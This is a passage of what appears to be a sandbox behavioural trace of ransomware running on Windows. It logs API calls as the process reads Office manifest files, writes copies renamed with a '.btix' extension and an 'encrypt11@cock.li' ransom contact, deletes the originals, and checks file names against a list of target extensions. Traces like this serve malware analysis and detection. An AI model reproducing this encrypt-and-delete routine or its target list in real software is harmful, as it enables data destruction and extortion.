(lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0048.763] lstrlenW (lpString=".jpg") returned 4 [0048.763] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.763] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.763] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0048.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.763] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1124942) returned 1 [0048.763] CloseHandle (hObject=0x38c) returned 1 [0048.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0048.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.764] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.764] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0048.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0048.765] GetLastError () returned 0x0 [0048.765] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xffff0, lpOverlapped=0x0) returned 1 [0049.033] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xffff0, lpOverlapped=0x0) returned 1 [0049.047] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0049.055] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x12a60, lpOverlapped=0x0) returned 1 [0049.512] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.512] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.513] SetEndOfFile (hFile=0x364) returned 1 [0049.513] CloseHandle (hObject=0x364) returned 1 [0049.532] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.532] SetEndOfFile (hFile=0x38c) returned 1 [0049.534] CloseHandle (hObject=0x38c) returned 1 [0049.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0049.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".doc") returned 4 [0049.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString=".docx") returned 5 [0049.535] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.535] lstrlenW (lpString=".pdf") returned 4 [0049.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString=".xls") returned 4 [0049.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString=".xlsx") returned 5 [0049.535] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.535] lstrlenW (lpString=".ppt") returned 4 [0049.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".zip") returned 4 [0049.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.535] lstrlenW (lpString=".rar") returned 4 [0049.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString=".bz2") returned 4 [0049.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString=".7z") returned 3 [0049.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".dbf") returned 4 [0049.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".1cd") returned 4 [0049.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".jpg") returned 4 [0049.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.535] lstrlenW (lpString=".doc") returned 4 [0049.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString=".docx") returned 5 [0049.536] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.536] lstrlenW (lpString=".pdf") returned 4 [0049.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString=".xls") returned 4 [0049.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString=".xlsx") returned 5 [0049.536] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.536] lstrlenW (lpString=".ppt") returned 4 [0049.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.536] lstrlenW (lpString=".zip") returned 4 [0049.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.536] lstrlenW (lpString=".rar") returned 4 [0049.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString=".bz2") returned 4 [0049.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString=".7z") returned 3 [0049.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.536] lstrlenW (lpString=".dbf") returned 4 [0049.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.536] lstrlenW (lpString=".1cd") returned 4 [0049.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0049.536] lstrlenW (lpString=".jpg") returned 4 [0049.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.536] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.537] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0049.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.537] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1261) returned 1 [0049.537] CloseHandle (hObject=0x38c) returned 1 [0049.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.538] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.538] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0049.538] GetLastError () returned 0x0 [0049.538] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.657] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.658] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.658] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.658] SetEndOfFile (hFile=0x364) returned 1 [0049.658] CloseHandle (hObject=0x364) returned 1 [0049.659] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.659] SetEndOfFile (hFile=0x38c) returned 1 [0049.660] CloseHandle (hObject=0x38c) returned 1 [0049.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0049.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.660] lstrlenW (lpString=".doc") returned 4 [0049.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".docx") returned 5 [0049.661] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.661] lstrlenW (lpString=".pdf") returned 4 [0049.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".xls") returned 4 [0049.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".xlsx") returned 5 [0049.661] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.661] lstrlenW (lpString=".ppt") returned 4 [0049.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString=".zip") returned 4 [0049.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.661] lstrlenW (lpString=".rar") returned 4 [0049.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".bz2") returned 4 [0049.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".7z") returned 3 [0049.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString=".dbf") returned 4 [0049.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString=".1cd") returned 4 [0049.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString=".jpg") returned 4 [0049.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.661] lstrlenW (lpString=".doc") returned 4 [0049.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.661] lstrlenW (lpString=".docx") returned 5 [0049.661] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.662] lstrlenW (lpString=".pdf") returned 4 [0049.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString=".xls") returned 4 [0049.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString=".xlsx") returned 5 [0049.662] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.662] lstrlenW (lpString=".ppt") returned 4 [0049.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.662] lstrlenW (lpString=".zip") returned 4 [0049.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.662] lstrlenW (lpString=".rar") returned 4 [0049.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString=".bz2") returned 4 [0049.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString=".7z") returned 3 [0049.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.662] lstrlenW (lpString=".dbf") returned 4 [0049.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.662] lstrlenW (lpString=".1cd") returned 4 [0049.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0049.662] lstrlenW (lpString=".jpg") returned 4 [0049.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.662] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.662] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0049.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.663] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=343329) returned 1 [0049.663] CloseHandle (hObject=0x38c) returned 1 [0049.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.663] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.663] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0049.663] GetLastError () returned 0x0 [0049.663] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x53d21, lpOverlapped=0x0) returned 1 [0049.716] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x53d30, lpOverlapped=0x0) returned 1 [0049.721] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.721] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.721] SetEndOfFile (hFile=0x364) returned 1 [0049.721] CloseHandle (hObject=0x364) returned 1 [0049.726] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.726] SetEndOfFile (hFile=0x38c) returned 1 [0049.729] CloseHandle (hObject=0x38c) returned 1 [0049.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0049.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.730] lstrlenW (lpString=".doc") returned 4 [0049.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.730] lstrlenW (lpString=".docx") returned 5 [0049.730] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.730] lstrlenW (lpString=".pdf") returned 4 [0049.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.730] lstrlenW (lpString=".xls") returned 4 [0049.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.730] lstrlenW (lpString=".xlsx") returned 5 [0049.730] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.730] lstrlenW (lpString=".ppt") returned 4 [0049.730] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".zip") returned 4 [0049.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.731] lstrlenW (lpString=".rar") returned 4 [0049.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString=".bz2") returned 4 [0049.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString=".7z") returned 3 [0049.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".dbf") returned 4 [0049.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".1cd") returned 4 [0049.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".jpg") returned 4 [0049.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".doc") returned 4 [0049.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString=".docx") returned 5 [0049.731] lstrcmpiW 